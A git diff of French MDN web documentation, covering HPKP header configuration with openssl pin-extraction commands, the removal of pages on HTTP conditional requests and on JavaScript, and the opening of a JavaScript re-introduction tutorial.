La chaîne de caractère entre guillemets est l’empreinte du Subject Public Key Information (SPKI) encodé en base 64. Il est possible de spécifier plusieurs épinglage (pin) pour différentes clé publiques. Certains navigateurs pourraient autoriser dans le future d'autres algorithmes de hachage que SHA-256. Voir plus bas comment extraire cette information depuis le fichier d'un certificat ou d'une clé.
+
max-age
+
Le temps, en seconde, pendant laquelle le navigateur doit mémoriser que le site ne doit être visité qu'avec l'une des clés épinglées.
+
includeSubdomains {{ optional_inline() }}
+
Si ce paramètre optionnel est spécifié, cette règle s'applique aussi a tous les sous-domaines du domaine actuel.
+
report-uri {{ optional_inline() }}
+
Si ce paramètre optionnel est spécifié, les échecs de validation sont notifiés à l'URL donnée.
+
+ +
+

Note : La spécification actuelle impose d'inclure au minimum une seconde clé dite de sauvegarde, qui n'est pas encore utilisée en production. Cela permet de changer de clé publique sans bloquer l'accès aux clients qui auraient déjà noté les clés épinglés. C'est important par exemple dans le cas où la clé actuellement utilisées serait compromise, ce qui forcerait l'utilisation d'une clé différente (la clé de sauvegarde dans ce cas).

+
+ +
+

Note : Firefox n'implémente pas encore les rapports de violation d'épinglage. Chrome les implémente à partie de la version 46.

+ + +
+ +

 

+ +

Extraire la clé publique encodé en Base64

+ +

En premier, vous devez extraire la clé publique depuis votre fichier de certificats ou de clés puis l'encoder en base 64.

+ +

Les commandes suivantes vous aideront à extraire la clé publique et à l'encoder en base 64 depuis le fichier d'une clé, d'un certificat ou d'un CSR (Certificate Signing Request).

+ +
openssl rsa -in my-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64
+ +
openssl req -in my-signing-request.csr -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64
+ +
openssl x509 -in my-certificate.crt -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64
+ +

 

+ +

Exemple d'entête HPKP

+ +
Public-Key-Pins: pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="; pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; max-age=5184000; includeSubdomains; report-uri="https://www.example.net/hpkp-report"
+ +

Dans cet exemple, pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs=" épingle la clé publique utilisée en production par le serveur. La deuxième déclaration d'épinglage pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE=" représente la clé de sauvegarde. max-age=5184000 dit au client de mémoriser cette information pendant deux mois, ce qui est un temps raisonnable d'après la RFC. Cet épinglage s'applique aussi à tous les sous-domaines, car includeSubdomains est présent. Enfin, report-uri="https://www.example.net/hpkp-report" indique où envoyer les rapports d'erreurs de validation.

+ +

 

+ +

Mettre en place le header HPKP sur votre serveur web

+ +

Les étapes concrètes nécessaires pour délivrer l'en-tête HPKP dépendent du serveur web que vous utilisez.

+ +
+

Note: Ces exemples utilisent un a max-age de deux mois et incluent aussi tous les sous-domaines. Il est conseillé de vérifier que cela convient à votre serveur.

+
+ +

Inclure une ligne similaire à votre configuration activera HPKP, en remplaçant les valeurs en pointillé des lignes pin-sha256="..." :

+ +

Apache

+ +
Header always set Public-Key-Pins "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains"
+
+ +

Note : Cela demande le module mod_headers activé.

+ +

Nginx

+ +
add_header Public-Key-Pins 'pin-sha256="base64+primary=="; pin-sha256="base64+backup=="; max-age=5184000; includeSubDomains';
+ +

Note : Cela demande le module ngx_http_headers_module.

+ +

Lighttpd

+ +
setenv.add-response-header  = ( "Public-Key-Pins" => "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains")
+ +

Note: Cela demande le module mod_setenv chargé, ce qui peut être fait en ajoutant la ligne suivante (s'il n'est pas déjà chargé) :

+ +
server.modules += ( "mod_setenv" )
+ +

 

+ +

Compatibilité des navigateurs

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome("38") }}{{ CompatGeckoDesktop("35") }}{{ CompatNo()}}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéChrome pour AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("35") }}{{CompatUnknown()}}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Spécifications

+ + + +

Voir également

+ + diff --git "a/files/fr/web/http/requ\303\252tes_conditionnelles/index.html" "b/files/fr/web/http/requ\303\252tes_conditionnelles/index.html" deleted file mode 100644 index 922b07a2fd..0000000000 --- "a/files/fr/web/http/requ\303\252tes_conditionnelles/index.html" +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: 'HTTP : Requêtes conditionnelles' -slug: Web/HTTP/Requêtes_conditionnelles -tags: - - Guide - - HTTP - - Requêtes Conditionnelles -translation_of: Web/HTTP/Conditional_requests ---- -

{{HTTPSidebar}}

- -

HTTP a un concept de requête conditionnelle où le résultat, et même le succés d'une requête, peut être changé en comparant les ressources affectées avec la valeur d'un validateur. De telles requêtes peuvent être utiles pour valider le contenu d'un cache et mettre de côté un contrôle inutile pour vérifier l'intégrité d'un document, comme le sommaire d'un téléchargement, ou éviter de perdre des mises à jour quand on télécharge ou modifie un document sur le serveur.

- -

Principes

- -

Les requêtes conditionnelles HTTP s'exécutent différemment en fonction de la valeur spécifique des en-têtes. Ces en-têtes définissent une condition de départ (pré-condition) et le résultat de la requête sera différent selon que la pré-condition est satisfaite ou non.

- -

Les comportements différents sont définis par la méthode qu'utilise la requête et par un ensemble d'en-têtes propres aux préconditions :

- -
    -
  • Pour une méthode {{glossary("safe")}} comme {{HTTPMethod("GET")}}, qui, habituellement va chercher un document, la requête conditionnelle peut renvoyer le document si c'est pertinent seulement. Cela économise de la bande passante.
    • -
  • Pour les méthodes {{glossary("safe", "unsafe")}} comme {HTTPMethod("PUT")}}, qui charge habituellement un document, la requête conditionnelle peut servir à charger le document, uniquement si l'original sur lequel la requête est basée est le même que celui stocké sur le serveur.
    • -
- -

Validateurs

- -

Toutes les en-têtes conditionnelles vérifient si la ressource stockée sur le serveur correspond à une version spécifique. Pour accomplir ceci, la requête conditionnelle doit préciser la version de la ressource car comparer l'ensemble bit à bit n'est pas faisable et pas toujours désiré non plus. La requête transmet une valeur qui caractérise la version. Ces valeurs sont appelées validateurs et il y en a de deux sortes :

- -
    -
  • La date de dernière modification du document, la dernière date modifiée.
    • -
  • une chaîne de caractére sans signification particulière identifiant uniquement chaque version. On l'appelle "étiquette d'entité" ou "etag".
    • -
- -

Comparer les versions d'une même ressource est un peu délicat : en fonction du contexte, il y a deux sortes de vérification d'équivalence :

- -
    -
  • Une validation forte est utilisée quand une vérification bit à bit est demandé, par exemple pour reprendre un téléchargement.
    • -
  • Une validation faible est utilisée quand l'agent-utilisateur doit seulement déterminer si deux ressources ont le même contenu. Ils sont égaux même s'ils ont des différences minimes comme des publicités différentes ou un pied de page (footer) avec une date différente.
    • -
- -

La sorte de la vérification est indépendante du validateur utilisé.  {{HTTPHeader("Last-Modified")}} et {{HTTPHeader("ETag")}}  permettent les deux tupes de validation bien que la complexité d'implémentation côté serveur soit variable.  HTTP se sert de la validation forte par défaut et spécifie quand la validation faible peut être employée.

- -

Validation forte

- -

La validation forte consiste à garantir que la ressource est identique à celle à laquelle elle est comparée, au bit prés. C'est obligatoire pour certaines en-têtes et le défaut pour les autres. La validation forte est stricte et peut être difficile à garantir côté serveur mais cela garantit qu'à aucun moment une donnée n'est perdu, parfois au détriment de la performance.

- -

Il est assez difficile d'avoir un identifiant unique pour la validation forte avec {{HTTPHeader("Last-Modified")}}. On le fait souvent en employant une {{HTTPHeader("ETag")}} avec le hachage MD5 de la ressource(ou un dérivé).

- -

Validation faible

- -

La validation faible différe de la validation forte car elle considère que deux versions du document ayant le même contenu sont équivalentes. Par exemple, une page qui différerait d'une autre seulement par sa date dans le pied de page ou une publicité, sera considérée identique à l'autre avec la validation faible. Ces mêmes deux versions seront évaluées comme étant différentes avec la validation forte. Construire un système d'ETags pour la validation faible peut être complexe car cela induit de connaître l'importance des différents éléments de la page mais est trés utile dans le but d'optimiser les performances du cache.

- -

En-têtes conditionnelles

- -

Plusieurs en-têtes HTTP, appelées en-têtes conditionelles, apportent des conditions aux reques. Ce sont :

- -
-
{{HTTPHeader("If-Match")}}
-
Succés si la {{HTTPHeader("ETag")}} de la ressource distante est égale à une de celles listées dans cette en-tête. Par défaut, à moins que l'etag soit préfixée 'W/', c'est une validation forte. it performs a strong validation.
-
{{HTTPHeader("If-None-Match")}}
-
Succés si la {{HTTPHeader("ETag")}} de la ressource distante est différente de toutes celles listées dans l'en-tête. Par défaut, à moins que l'etag soit préfixée 'W/', c'est une validation forte.
-
{{HTTPHeader("If-Modified-Since")}}
-
Succés si la date {{HTTPHeader("Last-Modified")}} de la ressource distante est plus récente que celle donnée dans l'en-tête.
-
-
{{HTTPHeader("If-Unmodified-Since")}}
-
Succés si la date {{HTTPHeader("Last-Modified")}} de la ressource distante est plus ancienne ou égale à celle donnée dans l'en-tête.
-
{{HTTPHeader("If-Range")}}
-
Similaire à {{HTTPHeader("If-Match")}}, ou {{HTTPHeader("If-Unmodified-Since")}}, mais peut n'avoir qu'une seule etag, ou une date. Si ça ne colle pas, la requête est rejetée et à la place d'un statut de réponse {{HTTPStatus("206")}} Partial Content , un {{HTTPStatus("200")}} OK est envoyé avec la totlité de la ressource.
-
- -

Cas d'utilisation

- -

Mise à jour du Cache

- -

Le cas d'utilisation le plus commun pour les requêtes conditionnelles est la mise à jour du cache. Avec un cache vide ou absent, la ressource demandée est renvoyée avec un statut {{HTTPStatus("200")}} OK.

- -

The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled.

- -

Dans la ressource les validateurs sont renvoyés dans les en-têtes. Dans cet exemple, deux validateurs {{HTTPHeader("Last-Modified")}} et  {{HTTPHeader("ETag")}} sont envoyés mais il pourrait tout aussi bien n'y en avoir qu'un. Ces validateurs sont en cache avec la ressource (comme toutes les en-têtes) et seront utilisés pour embarquer les requêtes conditionnelles quand le cache est périmé.

- -

Tant que le cache n'est pas obsolète, aucune requête n'esst publiée. Mais une fois qu'il est dépassé, il est principalement contrôlé par l'en-tête {{HTTPHeader("Cache-Control")}} , le client n'utilise pas directement la valeur en cache mais publie une requête conditionnelle. La valeur du validateur est employé comme paramètre des en-têtes {{HTTPHeader("If-Modified-Since")}} et {{HTTPHeader("If-Match")}}.

- -

Si la ressource n'a pas changé, le serveur renvoie une réponse {{HTTPStatus("304")}} Not Modified. Cela rafraîchit le cache et le client peut se servir de la valeur en cache. Bien qu'il y ait un aller-retour requête-réponse qui consomme quelques ressources, cette méthode est plus efficace que de transmettre à nouveau la totalité de la ressource via le réseau.

- -

With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same.

- -

Si la ressource n'a pas changée, le serveur renvoie juste une réponse  {{HTTPStatus("200")}} OK avec la nouvelle version de la ressource comme si la requête n'était pas conditionnelle et le client utilise cette nouvelle ressource et la met en cache.

- -

In the case where the resource was changed, it is sent back as if the request wasn't conditional.

- -

De plus, la configuration des validateurs côté serveur est totalement transparente : tous les navigateurs gèrent un cache et envoient de telles requêtes conditionnelles sans que cela ne nécessite de travail supplémentaire de la part du développeur.

- -

Intégrité d'un téléchargement partiel

- -

Un téléchargement partiel de fichiers est une fonctionnalité de HTTP qui permet de reprendre des opérations en cours en économisant de la bande passante et du temps en conservant les données déjà reçues :

- -

A download has been stopped and only partial content has been retrieved.

- -

Un serveur qui supporte le téléchargement partiel le diffuse en envoyant une en-tête {{HTTPHeader("Accept-Ranges")}}. Quand il la reçoit, le client peut reprendre le téléchargement en envoyant une en-tête de requête {{HTTPHeader("Ranges")}} avec les données manquantes :

- -

The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request.

- -

Le principe est simple mais il y a un problème potentiel : si la ressource téléchargée a été modifiée entre deux téléchargements, les données reçues correspondront à deux versions différentes de la ressource et le fichier final sera corrompu. Pour prévenir cela, des en-têtes conditionnelles sont employées.  Il y a deux manières de faire : la plus flexible se sert de {{HTTPHeader("If-Modified-Since")}} et de  {{HTTPHeader("If-Match")}}, le serveur retourne alors une erreur si la "pré-condition" n'est pas satisfaite et le client reprend le téléchargement depuis le début :

- -

When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely.

- -

Même si cette méthode marche, elle ajoute un échange requête/réponse quand le document a été modifié. Cela impacte la performance et HTTP a prévu une en-tête spécifique pour éviter ce scénario : {{HTTPHeader("If-Range")}}:

- -

The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download.

- -

Cette solution est plus efficace mais légèrement moins flexible puisqu' une etag seulement peut être utilisée dans la condition. On a rarement besoin d'une telle flexibilité additionnelle.

- -

Èviter les problèmes de perte de mise à jour avec le "verrouillage optimiste"

- -

Une opération commune des applications web est la mise à jour de document distants. C'est trés usuel dans tout système de fichiers ou dans les applications de contrôle de source et toute application qui permet de stocker des ressources distantes a besoin de ce mécanisme. Les sites comme les wikis et autres CMS s'en servent habituellement.

- -

Vous pouvez l'implémenter avec la méthode {{HTTPMethod("PUT")}}. Le client lit d'abord les fichiers originaux, les modifie et finalement, les envoie au serveur.

- -

Updating a file with a PUT is very simple when concurrency is not involved.

- -

Cependant, les choses deviennent un peu moins précises dés que l'on parle de simultanéité des comptes. Pendant qu'un client est en train de modifier  localement sa nouvelle copie de la ressource, un second client peut récupérer la même ressource et faire de même avec sa copie. Ce qui arrive ensuite est regrettable : quand ils enregistrent les modifications sur le serveur, celles du premier client sont écartées par l'enregistrement du second client qui n'est pas au courant des changements effectués sur la ressource par le premier client. Le choix qui est fait n'est pas communiqué aux autres protagonistes. Les changements adoptés changeront avec la vitesse d'enregistrement, ce qui dépend de la performance des clients, des serveurs et même de l'humain qui édite le document sur le client. Le "gagnant" changera d'une fois à l'autre. C'est donc une "course des conditions" ({{glossary("race condition")}}) qui conduit à des comportements problématiques difficiles à cerner et à débugger.

- -

When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!

- -

Il n'existe aucune manière de gérer ce problème sans ennuyer l'un ou l'autre client. De toutes façons, les mises à jour perdues et la "course des conditions" sont appelées à disparaître. Nous voulons des résultats prévisibles et être notifiés quand les changements sont rejetés.

- -

Les requêtes conditionnelles permettent d'implémenter l'algorithme de contrôle de concurrence (optimistic locking algorithm) utilisé par la plupart des wikis ou systèmes de contrôle des sources. Le concept est de permettre au client d'avoir des copies de la ressource, les laisser se modifier localement puis de contrôler la mise en concurrence en autorisant celles du premier client soumettant une mise à jour. Toutes les mises à jour ultèrieures basées sur la version maintenant obsolète sont rejetées :

- -

Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error.

- -

Ce ci est implémenté par les en-têtes {{HTTPHeader("If-Match")}} ou {{HTTPHeader("If-Unmodified-Since")}} . Si l'etag ne correspond pas au fichier original ou si le fichier a été modifié depuis son obtention, le changement est alors simplement rejeté avec une erreur {{HTTPStatus("412")}} Precondition Failed. C'est maintenant à l'initiative du client que se réglera l'erreur : soit en prévenant le client de redémarrer avec la nouvelle version, soit en présentant au client les différences entre les deux versions pour l'aider à choisir les modifications à conserver.

- -

Gérer le premier téléchargement d'une ressource

- -

Le premier téléchargement d'une ressource est un des cas résultant du comportement précédent. Comme toute mise à jour d'une ressource, le téléchargement va faire l'objet d'une "course des conditions" si deux clients essaient un enregistrement au même instant. Pour éviter cela, les en-têtes conditionnelles peuvent être employées : on ajoute {{HTTPHeader("If-None-Match")}} avec la valeur particulière '*', représentant n'importe quelle etag. La requête aboutira seulement si la ressource n'existait pas avant :

- -

Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it.

- -

If-None-Match fonctionnera seulement avec les serveurs compatibles HTTP/1.1 (et postérieur). Si vous n'êtes pas sûr que le serveur le soit, vous devez d'abord envoyer une requête {{HTTPMethod("HEAD")}} à la ressource pour vérifier.

- -

Conclusion

- -

Les requêtes conditionnelles sont une fonctionnalité essentielle d'HTTP et permettent la construction d'applications efficaces et complexes. Pour le cache et la reprise des téléchargements, la seule obligation du webmaster est de configurer le serveur correctement, en paramètrant les bonnes etags : dans certains environnements, c'est un véritable défi. Une fois cela fait, le serveur renverra les requêtes conditionnelles adaptées.

- -

Pour verrouiller ces dispositifs, c'est l'inverse : les développeurs web devront publier une requête avec les en-têtes appropriées tandis que les webmasters peuvent en général se fier à l'application pour effectuer ces vérifications.

- -

Dans les deux cas, c'est clair, les requêtes conditionnelles sont une des fonctionnalités essentielles du Web.

diff --git a/files/fr/web/javascript/a_propos/index.html b/files/fr/web/javascript/a_propos/index.html deleted file mode 100644 index aeb4c07c17..0000000000 --- a/files/fr/web/javascript/a_propos/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: À propos de JavaScript -slug: Web/JavaScript/A_propos -tags: - - Débutant - - Intro - - JavaScript -translation_of: Web/JavaScript/About_JavaScript ---- -
{{jsSidebar}}
- -

Qu'est-ce que JavaScript ?

- -

JavaScript®, souvent abrégé en JS, est le langage de script développé par Netscape utilisé dans des millions de pages web et d'applications serveur dans le monde entier. Le JavaScript de Netscape est une extension du langage de script standard ECMA-262 Edition 3 (ECMAScript), ne différant que légèrement des standards publiés. JavaScript est un langage léger, interprété, orienté objet (les fonctions étant des objets à part entière). Il est orienté prototype, multi-paradigme étant dynamique, impératif et fonctionnel à la fois

- -

Contrairement à une conception populaire, JavaScript n'est pas « du Java interprété ». En quelques mots, JavaScript est un langage de script dynamique utilisant une construction d'objets basée sur des prototypes. La syntaxe de base est volontairement similaire à Java et à C++ pour réduire le nombre de concepts nouveaux à assimiler par un débutant. Les structures de contrôle, telles que les instructions if, les boucles for et while, les blocs switch et try..catch fonctionnent de la même manière que dans ces langages (ou presque).

- -

JavaScript peut être employé en tant que langage procédural ou orienté objet. Les objets sont créés par le programme et des méthodes et des propriétés lui sont attachés lors de l'exécution, contrairement aux définitions de classes courantes dans les langages compilés comme C++ et Java. Une fois qu'un objet a été construit, il peut servir de modèle (ou prototype) pour créer des objets similaires.

- -

Parmi les capacités dynamiques de JavaScript, on peut citer la construction d'objets à l'exécution, les listes de paramètres variables, les fonctions comme variables, la création des scripts dynamique (via eval), le parcours d'objets (via for ... in), et la récupération du code source (les programmes JavaScript peuvent décompiler les corps de fonction pour retrouver le code source).

- -

Pour une description approfondie de la programation en JavaScript, consultez les liens de la section ressources JavaScript ci-dessous.

- -

Les implémentations de JavaScript disponibles

- -

Mozilla héberge deux implémentations de JavaScript. La première au monde est celle créée par Brendan Eich chez Netscape, et depuis mise à jour pour se conformer à la cinquième édition d'ECMA-262 (aussi appelé ECMAScript 5). Ce moteur, portant le nom de code SpiderMonkey, est implémenté en C. Le moteur Rhino, créé principalement par Norris Boyd (également chez Netscape) est une implémentation de JavaScript en Java. Comme SpiderMonkey, Rhino suit la spécification ECMA-262 Edition 5.

- -

Plusieurs optimisations ont été apportées au moteur JavaScript au fur et à mesure, parmi lesquelles on peut citer : TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) et IonMonkey.

- -

En plus de ces implémentations, il existe d'autres moteurs JavaScript largement utilisés comme :

- -
    -
  • V8 de Google, qui est utilisé dans le navigateur Google Chrome et dans les versions récentes du navigateur Opéra.
    • -
  • JavaScriptCore (SquirrelFish/Nitro) utilisé dans certains navigateurs WebKit tels que Safari, d'Apple.
    • -
  • Carakan est utilisé dans les anciennes versions d'Opera.
    • -
  • Le moteur Chakra est utilisé dans Internet Explorer (bien que le langage qu'il implémente soit formellement appelé « JScript » pour des raisons de droits des marques).
    • -
- -

Chacun des moteurs JavaScript de Mozilla expose une API publique que les applications peuvent appeler pour utiliser JavaScript. L'environnement hôte le plus courant pour JavaScript est, de loin, un navigateur Web. Les navigateurs utilisent typiquement l'API publique pour créer des « objets hôtes », reflétant le DOM en JavaScript.

- -

Une autre utilisation courante de JavaScript est d'être un langage de script côté serveur (Web). Un serveur web JavaScript exposerait, lui, des objets hôtes représentant les requêtes HTTP et leurs réponses, qui peuvent ensuite être manipulées par un programme JavaScript pour générer dynamiquement des pages Web.

- -

Ressources JavaScript

- -
-
SpiderMonkey
-
Informations concernant l'intégration du moteur JavaScript en C/C++ (SpiderMonkey).
-
- -
-
Rhino
-
Informations concernant l'intégration du moteur JavaScript en Java (Rhino).
-
- -
-
Ressources sur le langage JavaScript
-
Liens vers les standards JavaScript publiées.
-
- -
-
Une réintroduction à JavaScript
-
Le guide JavaScript et la référence JavaScript
-
- -

JavaScript® est une marque déposée d'Oracle aux États-Unis et dans d'autres pays.

diff --git a/files/fr/web/javascript/a_re-introduction_to_javascript/index.html b/files/fr/web/javascript/a_re-introduction_to_javascript/index.html new file mode 100644 index 0000000000..fd730c44fd --- /dev/null +++ b/files/fr/web/javascript/a_re-introduction_to_javascript/index.html @@ -0,0 +1,960 @@ +--- +title: Une réintroduction à JavaScript +slug: Web/JavaScript/Une_réintroduction_à_JavaScript +tags: + - Intermediate + - JavaScript + - Tutorial +translation_of: Web/JavaScript/A_re-introduction_to_JavaScript +--- +
{{jsSidebar}}
+ +

Introduction

+ +

Pourquoi une réintroduction ? Parce que JavaScript peut raisonnablement se targuer d'être le langage de programmation le plus incompris au monde. Bien que souvent raillé comme étant un simple jouet, derrière sa simplicité désarmante se cachent certaines fonctionnalités de langage très puissantes. De nombreuses applications JavaScript de premier plan sont apparues, ce qui montre qu'une connaissance approfondie de cette technologie est une compétence importante pour tout développeur Web.

+ +

Il peut être utile de commencer avec un aperçu de l'histoire de ce langage. JavaScript a été créé en 1995 par Brendan Eich, un ingénieur de Netscape, et ce langage est sorti au grand jour pour la première fois avec Netscape 2 au début de l'année 1996. Il était au départ censé s'appeler LiveScript, mais a été renommé par une décision marketing néfaste dans le but de capitaliser sur la popularité du langage Java de Sun Microsystems, malgré le fait qu'ils n'aient que très peu en commun. Cela n'a jamais cessé d'être une source de confusion.

+ +

Quelques mois plus tard, Microsoft a lancé avec Internet Explorer 3 une version du langage globalement compatible, appelée JScript. Quelques mois après, Netscape a soumis le langage à l'Ecma International, une organisation de normalisation européenne, ce qui a permis d'aboutir à la première édition du standard ECMAScript en 1997. Ce standard a reçu une mise à jour importante appelée ECMAScript edition 3 en 1999, et est resté relativement stable depuis. La quatrième édition a été abandonnée suite à des différends portants sur la complexité du langage. De nombreuses sections de la quatrième édition ont été utilisées pour servir de fondation à la cinquième édition d'ECMAScript, publiée en décembre 2009. La sixième édition, qui apporte des nouveautés majeures a été publiée en juin 2015.

+ +
+

Note : Dans la suite de cet article et à des fins de simplicité, nous utiliserons les termes « JavaScript » et « ECMAScript » pour désigner la même chose.

+
+ +

Cette stabilité est une excellente nouvelle pour les développeurs, parce qu'elle a donné aux différentes implémentations tout le temps nécessaire pour s'y adapter.

+ +

Contrairement à la plupart des langages de programmation, JavaScript n'a pas de concept d'entrée ou de sortie. Il est conçu pour s'exécuter comme un langage de script dans un environnement hôte, et c'est à cet environnement de fournir des mécanismes de communication avec le monde extérieur. L'environnement hôte le plus commun est un navigateur, mais des interpréteurs JavaScript existent également dans Adobe Acrobat, Photoshop, les images SVG, le moteur de widgets de Yahoo!, et même au sein d'environnements côté serveur tels que Node.js. Cette liste ne se limite pas qu'à ces éléments et on retrouve également JavaScript dans les bases de données NoSQL telles que Apache CouchDB, les ordinateurs embarqués ou encore des environnements de bureaux comme GNOME (l'une des interfaces graphiques les plus populaires des systèmes d'exploitation GNU/Linux).

+ +

Aperçu

+ +

JavaScript est un langage dynamique multi-paradigme : il dispose de différents types, opérateurs, objets natifs et méthodes. Sa syntaxe s'inspire des langages Java et C, donc de nombreuses structures de ces langages s'appliquent également à JavaScript. À la différence de ces langages, JavaScript n'a pas de classes. Au lieu de cela, la fonctionnalité des classes est reprise par les prototypes d'objet (voir notamment l'héritage et la chaîne de prototypes ainsi que le sucre syntaxique pour les {{jsxref("Classes")}} apparu avec ES6/ES2015). L'autre grande différence tient dans le fait que les fonctions sont des objets, on peut donc stocker ces fonctions dans des variables et les transmettre comme n'importe quel objet.

+ +

Commençons par nous intéresser à la brique de base de tout langage : les types. Les programmes en JavaScript manipulent des valeurs, et ces valeurs appartiennent toutes à un type. Les types JavaScript sont :

+ +
    +
  • Les nombres : {{jsxref("Number")}}
    • +
  • Les chaînes de caractères : {{jsxref("String")}}
    • +
  • Les booléens : {{jsxref("Boolean")}}
    • +
  • Les fonctions : {{jsxref("Function")}}
    • +
  • Les objets : {{jsxref("Object")}}
    • +
  • Les symboles : {{jsxref("Symbol")}} (apparus avec la sixième édition d'ECMAScript, ES2015)
    • +
+ +

On aura également {{jsxref("undefined")}} et {{jsxref("null")}}, qui sont relativement étranges. Les {{jsxref("Array","tableaux","",1)}} ou Array permettent d'organiser des séries d'objets au sein d'un même objet. Les {{jsxref("Date","dates","",1)}} et les {{jsxref("RegExp","expressions rationnelles","",1)}} ou RegExp qui sont  également des objets immédiatement disponibles en JavaScript. Afin d'être cohérent, les fonctions sont aussi une sorte particulière d'objets, de sorte que le diagramme de types ressemble en fait plus à ceci :

+ +
    +
  • {{jsxref("Number")}}
    • +
  • {{jsxref("String")}}
    • +
  • {{jsxref("Boolean")}}
    • +
  • {{jsxref("Symbol")}} (apparu avec la sixième édition d'ECMAScript, ES2015)
    • +
  • {{jsxref("Object")}} +
      +
    • {{jsxref("Function")}}
      • +
    • {{jsxref("Array")}}
      • +
    • {{jsxref("Date")}}
      • +
    • {{jsxref("RegExp")}}
      • +
    +
    • +
  • {{jsxref("null")}}
    • +
  • {{jsxref("undefined")}}
    • +
+ +

Enfin, il y a également quelques types natifs pour gérer les exceptions : {{jsxref("Error")}}.

+ +

Les nombres

+ +

Les nombres en JavaScript sont « des valeurs au format IEEE 754 en double précision 64 bits », d'après la spécification. Les conséquences de ce choix sont intéressantes. Il n'y a par exemple pas de type entier en JavaScript, donc il vous faudra faire preuve d'un petit peu de prudence avec les opérations arithmétiques si vous avez l'habitude de faire des maths en C ou en Java. Attendez-vous à obtenir des résultats comme :

+ +
0.1 + 0.2 == 0.30000000000000004
+
+ +

Dans la pratique, les valeurs entières sont traîtées comme des entiers représentés sur 32 bits (certaines implémentations stockent également les entiers sur 32 bits). Cela est important quand on souhaite effectuer des opérations en binaire. Pour plus de détails, voir les articles sur les opérateurs binaires.

+ +

Les opérateurs numériques standards sont gérés, dont l'addition, la soustraction, le modulo (ou reste) arithmétique et ainsi de suite. Il y a également un objet natif, qui n'a pas été mentionné jusqu'à présent, appelé {{jsxref("Math")}}, qui permet de gérer certaines fonctions et constantes mathématiques plus avancées :

+ +
Math.sin(3.5);
+var aire = Math.PI * r * r;
+
+ +

On peut convertir une chaîne de caractères en un nombre entier à l'aide de la fonction intégrée {{jsxref("Objets_globaux/parseInt","parseInt()")}}. Elle reçoit la base de conversion comme second paramètre , qui devrait toujours être fourni afin de lever une éventuelle ambiguïté :

+ +
parseInt("123", 10); // 123
+parseInt("010", 10); //10
+
+ +

Si la base n'est pas indiquée, les résultats peuvent être surprenants dans les anciens navigateurs (avant 2013) :

+ +
parseInt("010");  //  8
+parseInt("0x10"); // 16
+
+ +

Cela se produit parce que la fonction {{jsxref("Objets_globaux/parseInt","parseInt()")}} a été implémentée pour traiter la chaîne comme un nombre octal à cause du zéro initial.

+ +

Si on souhaite convertir un nombre binaire en un entier, il suffit simplement de changer la base :

+ +
parseInt("11", 2); // 3
+
+ +

De la même manière, vous pouvez traiter les nombres à virgule flottante à l'aide de la fonction intégrée {{jsxref("Objets_globaux/parseFloat","parseFloat()")}}, qui, à la différence de {{jsxref("Objets_globaux/parseInt","parseInt()")}}, utilise toujours la base 10.

+ +

On peut également utiliser l'opérateur unaire + pour convertir des valeurs en nombres :

+ +
+ "42";   // 42
++ "010";  // 10
++ "0x10"; // 16
+
+ +

Une valeur spéciale appelée {{jsxref("NaN")}} (qui signifie « Not a Number », soit « pas un nombre ») est renvoyée si la chaîne est non numérique :

+ +
parseInt("coucou", 10); // NaN
+
+ +

NaN est « toxique » : si cette valeur est fournie en entrée pour n'importe quelle opération mathématique, le résultat sera également NaN :

+ +
NaN + 5; // NaN
+
+ +

Cette valeur peut être détectée grâce à la fonction native {{jsxref("Objets_globaux/isNaN","isNaN()")}} :

+ +
isNaN(NaN); // true
+
+ +

JavaScript dispose également de valeur spéciales pour l'infini {{jsxref("Infinity")}} et l'infini négatif (-Infinity) :

+ +
1 / 0; // Infinity
+-1 / 0; // -Infinity
+
+ +

Il est possible de tester les valeurs Infinity, -Infinity et NaN à l'aide de la fonction native {{jsxref("Objets_globaux/isFinite","isFinite()")}} :

+ +
isFinite(1/0); // false
+isFinite(-Infinity); // false
+isFinite(NaN); // false
+
+ +
Note : Les fonctions {{jsxref("Objets_globaux/parseFloat","parseFloat()")}} et {{jsxref("Objets_globaux/parseInt","parseInt()")}} traitent une chaîne de caractères jusqu'à ce qu'elles atteignent un caractère qui n'est pas valide pour le format numérique indiqué, puis renvoient le nombre traité jusqu'à ce point. Cependant, l'opérateur "+" convertit simplement la chaîne à NaN à partir du moment où la chaîne contient le moindre caractère non valide. Vous pouvez tester ce comportement en manipulant la chaîne "10.2abc" avec chaque méthode dans la console afin de mieux comprendre les différences.
+ +

Les chaînes de caractères

+ +

